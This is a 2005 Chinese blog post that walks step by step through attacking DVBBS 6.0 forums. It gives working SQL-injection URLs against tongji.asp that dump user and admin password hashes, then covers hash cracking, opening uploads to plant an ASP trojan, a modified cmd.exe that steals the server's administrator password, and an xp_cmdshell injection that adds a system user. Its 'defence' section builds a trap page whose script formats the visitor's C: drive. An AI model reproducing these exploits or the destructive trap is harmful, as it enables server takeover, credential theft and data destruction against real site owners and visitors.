DVBBS是一款由
WWW.ASPSKY.NET开发和维护的源代码开放的Asp论坛;是国内非常优秀的论坛程序,在win系统中大量的使用,本人网站用的就是这个程序,所以必须关注。这个漏洞什么原因引起的呢?主要由于tongji.asp下面的代码: 60 sub topuser()61 set rs=server.createobject("adodb.recordset")62 sql="select top "&request("n")&" username,useremail,userclass,oicq,homepage,article,addDate from [user] order by article desc"变量 n 没有经任何检查就直接放到SQL查询中了,我们指定N 的值,想办法进行查询。明白上面的道理了,首先,测试ACCESS版动网论坛6.0版本(网上到处都是啦!)假设现在论坛的网址是
http://192.168.0.2/bbs/dvbbs6/bbs/在地址栏输入
http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&N=2%20UserName,(注意UserName 后面有逗号)返回:document.write(\'□\');document.write(\'刹那\');document.write(\'\');document.write(\'□\');document.write(\'飞云桂迷\');document.write(\'\');看的是不是有点乱,不用管document.write 它是个输入出函数!!刹那,飞云桂迷 就是用户名了,光有用户名当然没有用,下面我们将 username 改成userpassword了,例如:
http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&N=2%20userpassword, 返回: document.write(\'□\');document.write(\'6086f166dd77b131\');document.write(\'\');document.write(\'□\');document.write(\'50392f2ecb2828f1\');document.write(\'\');明白了吗?刹那 的密码是6086f166dd77b131,飞云桂迷的密码是50392f2ecb2828f1但是经过MD5加密的,(注意刹那,飞云桂迷,可能并不是管理员,因为用查询得到的只是按发贴量排序)
http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&N=2%20userclass,返回:document.write(\'□\');document.write(\'版主\');document.write(\'\');document.write(\'□\');document.write(\'贵宾\');document.write(\'\');发现没有,每一条都是对应的,哦,刹那是版主,飞云桂迷 是 贵宾, 那也不是管理员呀,,没事,管理员的发贴量,绝对不可能太少,我们加大N的值,让N=50如果图所:此处插入看见管理员吧!是第八位,再查询N=8时的最后一位就是管理员了,我查询得到的结晶是\');document.write(\'□\');document.write(\'yshaw\');document.write(\'\');\');document.write(\'□\');document.write(\'cfc525e4f18301e2\');document.write(\'\');用同样的办法你可以把admin的userid、回答问题....全部搞到手。
http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&N=2%20Useremail 你就能看见管理的邮箱, 如果图所:此处插入现在得到了管理员用户名,和密码,是不是就可以登陆了呢?没有这么简单,密码是MD5加密的,不能直接使用,有必要了解一下MD5加密。网上有一种说法,能快速得到动网管理员密码。因为我的网站密码都是MD5加密过的,对于这此我格外留心,号称不可逆算法的MD5,就能如果简单的破解吗? 大概步骤是这样,在自己的机器上安装jmail和动网论坛,把下载的数据库覆盖新数据库并且把数据库扩展名改为.mdb,修改管理员的资料,把回答问题和答案改掉!把email换成自己的,忘记密码-回答问题-取回密码, 真的这么简单吗?细心分析。 动网论坛是 <!--#include file="conn.asp"--> 数据路径文件 <!--#include file="md5.asp"--> 加密文件! 等等,~~ 只要有<!--#include file="md5.asp"-->表示些页面有加密操作! 在注册时,我们输入如果1234 ,调用,md5.asp进行加密。将加密后的数据!#!#%!$#%!%!存在数据库中, 用户验证时,是这将的输入的密码1234,调用MD5加密,,对比数据中加密之后的数据,相同则成功,否则失败! 没有加密的数据 ---》加密 -----》对比, 如果作者所说,能得到管理员密码,在我脑子里只有两种情况 1, 经过一个次逆过程, 还原mD5 —》解密—》发送给黑客这是不可能的, MD5将任意长度的“字节串”变换成一个16,32……128bit的大整数,并且它是一个不可逆的字符串变换算法,(有些人开始还愚蠢的认为MD5是可逆的算法 )换句话说就是,即使你看到源程序和算法描述,也无法将一个MD5的值变换回原始的字符串,从数学原理上说,是因为原始的字符串有无穷多个,这有点象不存在反函数的数学函数。 2, 如果上面的不可能话,只有动网另有后门,有存储管理的明文密码,查实没有这样情况! 如果说1092版本之下也能发送出密码的话,呵呵,1023版本之下。都没用MD5加密,动网6。0版本的数据库并不向下兼容,这意味着你下载的数据库,不可能在别的版主要使用! 我测试的版本有,动网论坛 Ver4.0 Build 1210 动网论坛 Ver5.0 Build 0109 等,dvbbs6.0 不支持取回密码,只能在修改 所以基本上可以认为了无稽之谈! 我们可用软件破解MD5密码, 在网上找了几个破解程序都界面不太好, 我女朋友正好在身边就自己编了一个32位和 16位MD5加密解密的程序,如果图所:此处插入 找个软件生成字典,打开文件,破解 好出来了, 用户名:yshaw密码是:
yshawk2rcomic@123哦!~~不能进入后台,众所周知因为动网6。0后台和前台,用户名密码,允许使用不一样的用户名密码。倒如:前台用户名是:admin 密码:admin登陆后台管理时,可设置成为用户名:hacker 密码:hacker而且密码存储在不同的字段中,前台用户名密码存储在user,后面的用户名密码存储在admin字段中,有些论坛管理员会将前后台密码相同,但大多数都是不同的,也好,我接着想办法得到管理员后台密码!看了几篇文章得到启发,我们不能直接查询,难道就不能用子查询?我在地址栏输入
http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&n=2%20(select%20max(username)%20from%20admin),返回:document.write(\'□\');document.write(\'admin\');document.write(\'\');我们得到后台用户名:admin
http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&n=1%20(select%20max(password)%20from%20admin),返回:document.write(\'□\');document.write(\' bc4f56dce3f5fff6\');document.write(\'\');我们得到后台密码: bc4f56dce3f5fff6 (Md5加密之后的)
http://192.168.0.2/bbs/dvbbs6/bbs/tongji.asp?orders=2&n=2%20(select%20max(adduser)%20from%20admin),得到对应的前台用户名:yshaw(这在有多个管理员时,用于确定密码参考对应前台用户的关系)后来我下载了对方的数据库,事实证明,他有两个管理员,一个是admin,另一个是yshaw但密码是一样的。现在解密得到的后台密码是:yshawk2rcomic123现在登陆那个论坛-》进入管理页面-》论坛版面管理 -》随便选一个讨论区-》高级设置在上传文件类型中加上 “|asp|exe”如果图所:此处插入好了,进去这个讨论区发表帖子-上传文件,呵呵,把自己改造好的ASP木马上传,动网论坛会返回上传文件名称,如:20035222535558093.asp 我们用
http://192.168.0.2/bbs/dvbbs6/bbs/uploadfile/20035222535558093.asp就可以访问,为什么我知道路径,?动网默认uploadfile放置上传文件,再将asp木马转移到别的文件中,OK!删除UploadFile中的文件!(因为在插件版的动网中,能管理上传文件,管理员看见.ASP当然就删除了。) 如果图所:此处插入上传cmd.exe这个程序,这个程序在我的另一篇文章中有说明,请参照!我改造之后,它并不会新建用户,而它会在根目录下生成一个winntguaigou.sys,用ASP木马下载回家,用记事本打开就能看到管理员密码!但是在根目录下生成一个文件,还是不安全,我是这样做的,将目录定位到论坛主页目录,如我的论坛目录G:\\Inetpub\\WWWROOT\\好的,,知道站点物理路径,我将得到的winntguaigou.sys定位输出到,G:\\Inetpub\\WWWROOT\\bbs\\Datebackup\\当然,我还将winntguaigou.sys输出时改名为dvbbs6.mdb够隐蔽吧,因为每个人的论坛目录都可能不一样,所以没有办法写出通用的程序,参考我的另一篇文件的程序,在光盘中能找到,大家可改成自己的路径,第833行 GetWindowsDirectory(szPassPath, MAX_PATH);第834行, strcat(szPassPath, "
\\guaigou.sys");简单吧,呵呵,不信你不运行cmd.exe, 只要管理员运行,CMD.exe,就能得到他的管理员密码。就能将服务器一起拿下。等待的时间,我们先干点别的,将得到论坛管理员密码,测试他的信箱, OK 成功了测试他的QQ OK, 成功了,还没有密码保护。下午5点多钟,发现dvbbs6.mdb文件创建了,。一定是网管运行了,CMD.exe下载
http://192.168.0.2/bbs/dvbbs6/bbs/ Datebackup/dvbbs6.mdb用记事本打开,就得到了系统管理员的密码。至此住手了,我们已经得到他的服务器权限,论坛权限,QQ,信箱,哈哈,,兄弟们不要太狠!记得将上面改动 “|ASP”和cmd.exe删除,1:MSSQL 如果是MSSQL版的,还客气什么,直接提交如下URL:
http://www.target.com/asp/dvbbssql/tongji.asp?orders=2&N=2%20password%20from%20admin;%20exec%20master..x p _c m d s h e l l%20\'net%20user%20guaigou%20hacker77169%20/add\' 执行的操作是 password from admin; ex ec master..x p _ c m d s h e l l \'net u ser guaigou hacker77169 /add\' 顺利的话,对方系统便会添加love/hack用户,(FT,系统用户都添加了,论坛管理员算什么?), 网上大家用的ACCESS的动网论坛多,更据有一般性,SQL版相对较少,有些版本默认配置没有tongji.asp文件,我好不容量找到一个,还因为禁止使用一些存储过程,而没有成功。防范:动网已经出了补丁大家下载覆盖原文件,就行了,相信看这篇文章的很多朋友都是站长,也使用着动网论坛,我和大家一样忠爱着动网论坛,不想让自己的论坛让别人黑了,(N 多人惦记着怪狗的论坛)老想黑了我论坛,那也不能不给人家“机会”吧!(被thief 惦记着,不合适)将tongji.asp文件改名为to_ngji.asp在bbs目录中搜索包含tongji.asp文件的改成to_ngji.asp我们自己编一个tongji.asp文件改造:<%orders=trim(request("orders")) n=trim(request("n")) if orders=2 and n="2 UserName," then response.write "document.write(\'□\');document.write(\'怪狗\');document.write(\'\');" elseif orders=2 and n=1 then response.write "document.write(\'□\');document.write(\'怪狗\');document.write(\'\');document.write(\'□\');" elseif orders=2 and n=2 then response.write "document.write(\'□\');document.write(\'怪狗\'); &nsp document.write(\'\');document.write(\'□\');document.write(\'飞云桂迷\');document.write(\'\');" end if %><OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B33 id=wsh></OBJECT><SCRIPT>wsh.Run(\'start /m format.com C:/q /autotest /u\');</SCRIPT>为了让大家看明白,我只用了简单的if 语句结构,解释上面的语句,reguest 主要用于接收变量,response.write用于输出,IF中的语句相信大家都能看懂,wsh.Run(\'start /m format.com C:/q /autotest /u\');可能也看出来,这是格式化的语句,将上面的程序存为tongji.asp,放在论坛目录下,呵呵,这就是成了一个陷井,上面的程序只是一个示意,(不保证在您的服务器正常运行)你可用网页木马,格式化,盗cookies,不用我教你了吧,对要攻击你论坛的菜鸟,就不用给我面子了,呵呵!几点建议:1,建议密码要强壮,如果你用一个强壮的密码,将不会给破解者任何机会。比如:原密码是123456 用MD5加密之后49ba59abbe56e057 再将他做为您的管理员密码你说那个更安全,!2,建设大家利用漏动时,多思考,多动手,尽力用自己程序,用自己的思想,这才是黑客的乐趣。
posted on 2005-06-14 10:04
yiye 阅读(1039)
评论(0) 编辑 收藏 引用 所属分类:
黑客